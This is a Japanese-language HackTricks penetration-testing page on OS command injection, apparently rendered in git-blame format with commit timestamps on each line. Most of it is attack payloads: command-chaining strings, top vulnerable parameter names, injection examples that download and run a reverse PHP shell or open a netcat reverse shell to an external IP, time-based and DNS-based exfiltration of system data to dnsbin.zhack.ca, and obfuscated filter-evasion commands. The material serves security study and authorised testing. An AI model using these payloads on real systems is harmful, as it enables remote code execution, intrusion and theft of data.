2023-07-07 23:42:27 +00:00
|
|
|
|
# コマンドインジェクション
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
|
|
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
2023-09-24 15:28:04 +00:00
|
|
|
|
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
|
|
|
|
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
|
|
|
|
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-09-28 20:14:46 +00:00
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
2022-10-27 23:22:18 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
|
|
|
|
今すぐアクセスを取得:
|
2022-10-27 23:22:18 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
## コマンドインジェクションとは?
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
OSコマンドインジェクション(シェルインジェクションとも呼ばれる)は、Webセキュリティの脆弱性であり、攻撃者がアプリケーションを実行しているサーバー上で任意のオペレーティングシステム(OS)コマンドを実行し、通常はアプリケーションとそのデータを完全に危険にさらします([ここから](https://portswigger.net/web-security/os-command-injection))。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
### コンテキスト
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
**入力が注入される場所**によっては、コマンドの前に引用符のコンテキスト(`"`または`'`)を**終了する必要がある**場合があります。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
## コマンドインジェクション/実行
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
#Both Unix and Windows supported
|
|
|
|
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
|
|
|
|
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
|
|
|
|
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
|
|
|
|
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
|
|
|
|
ls %0A id # %0A Execute both (RECOMMENDED)
|
|
|
|
|
|
|
|
|
|
#Only unix supported
|
|
|
|
|
`ls` # ``
|
|
|
|
|
$(ls) # $()
|
|
|
|
|
ls; id # ; Chain commands
|
2022-10-02 23:08:05 +00:00
|
|
|
|
ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-10-10 00:18:23 +00:00
|
|
|
|
#Not executed but may be interesting
|
2020-07-15 15:43:14 +00:00
|
|
|
|
> /var/www/html/out.txt #Try to redirect the output to a file
|
|
|
|
|
< /etc/passwd #Try to send some input to the command
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
### 制限のバイパス
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-09-03 18:55:41 +00:00
|
|
|
|
もしもあなたがLinuxマシン内で**任意のコマンドを実行**しようとしている場合、以下のバイパスについて読むことが役立つでしょう:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-10-02 23:08:05 +00:00
|
|
|
|
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
|
|
|
|
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
### 例
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
|
|
|
|
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
|
|
|
|
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
### パラメータ
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-09-28 20:14:46 +00:00
|
|
|
|
以下は、コードインジェクションや同様のRCE脆弱性に対して脆弱性のある可能性のあるトップ25のパラメータです([リンク](https://twitter.com/trbughunters/status/1283133356922884096)から):
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-29 09:22:22 +00:00
|
|
|
|
?cmd={payload}
|
|
|
|
|
?exec={payload}
|
|
|
|
|
?command={payload}
|
|
|
|
|
?execute{payload}
|
|
|
|
|
?ping={payload}
|
|
|
|
|
?query={payload}
|
|
|
|
|
?jump={payload}
|
|
|
|
|
?code={payload}
|
|
|
|
|
?reg={payload}
|
|
|
|
|
?do={payload}
|
|
|
|
|
?func={payload}
|
|
|
|
|
?arg={payload}
|
|
|
|
|
?option={payload}
|
|
|
|
|
?load={payload}
|
|
|
|
|
?process={payload}
|
|
|
|
|
?step={payload}
|
|
|
|
|
?read={payload}
|
|
|
|
|
?function={payload}
|
|
|
|
|
?req={payload}
|
|
|
|
|
?feature={payload}
|
|
|
|
|
?exe={payload}
|
|
|
|
|
?module={payload}
|
|
|
|
|
?payload={payload}
|
|
|
|
|
?run={payload}
|
|
|
|
|
?print={payload}
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
### 時間ベースのデータの外部流出
|
2020-07-29 09:22:22 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
データの抽出:文字単位で
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-06-25 16:50:01 +00:00
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
|
|
|
real 0m5.007s
|
|
|
|
|
user 0m0.000s
|
|
|
|
|
sys 0m0.000s
|
|
|
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
|
|
|
real 0m0.002s
|
|
|
|
|
user 0m0.000s
|
|
|
|
|
sys 0m0.000s
|
|
|
|
|
```
|
2023-07-07 23:42:27 +00:00
|
|
|
|
### DNSベースのデータの外部流出
|
2021-06-25 16:50:01 +00:00
|
|
|
|
|
2023-09-03 18:55:41 +00:00
|
|
|
|
`https://github.com/HoLyVieR/dnsbin`からのツールを使用して、dnsbin.zhack.caでホストされています。
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-06-25 16:50:01 +00:00
|
|
|
|
1. Go to http://dnsbin.zhack.ca/
|
|
|
|
|
2. Execute a simple 'ls'
|
|
|
|
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|
|
|
|
```
|
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2021-06-25 16:50:01 +00:00
|
|
|
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
|
|
|
|
```
|
2023-09-24 15:28:04 +00:00
|
|
|
|
DNSベースのデータの外部流出をチェックするためのオンラインツール:
|
2023-07-07 23:42:27 +00:00
|
|
|
|
|
2023-09-03 18:55:41 +00:00
|
|
|
|
* dnsbin.zhack.ca
|
|
|
|
|
* pingb.in
|
2023-07-07 23:42:27 +00:00
|
|
|
|
|
2023-09-03 18:55:41 +00:00
|
|
|
|
### フィルタリング回避
|
2023-07-07 23:42:27 +00:00
|
|
|
|
|
2023-09-03 18:55:41 +00:00
|
|
|
|
#### Windows
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2022-04-05 22:24:52 +00:00
|
|
|
|
powershell C:**2\n??e*d.*? # notepad
|
|
|
|
|
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
2021-06-25 16:50:01 +00:00
|
|
|
|
```
|
2022-05-01 13:25:53 +00:00
|
|
|
|
#### Linux
|
2021-06-25 16:50:01 +00:00
|
|
|
|
|
2022-05-07 19:19:13 +00:00
|
|
|
|
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
|
|
|
|
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% endcontent-ref %}
|
2021-06-25 16:50:01 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
## ブルートフォース検出リスト
|
2021-06-27 21:56:13 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
2021-06-27 21:56:13 +00:00
|
|
|
|
|
2023-07-07 23:42:27 +00:00
|
|
|
|
## 参考文献
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
|
|
|
|
|
|
|
|
|
|
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-09-28 20:14:46 +00:00
|
|
|
|
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
2023-09-03 18:55:41 +00:00
|
|
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
2023-09-28 20:14:46 +00:00
|
|
|
|
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
|
|
|
|
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
2023-09-24 15:28:04 +00:00
|
|
|
|
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2022-08-31 22:35:39 +00:00
|
|
|
|
|
2023-09-28 20:14:46 +00:00
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
2022-08-31 22:35:39 +00:00
|
|
|
|
|
|
|
|
|
\
|
2023-09-03 18:55:41 +00:00
|
|
|
|
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
2023-07-07 23:42:27 +00:00
|
|
|
|
今すぐアクセスを取得:
|
2022-08-31 22:35:39 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|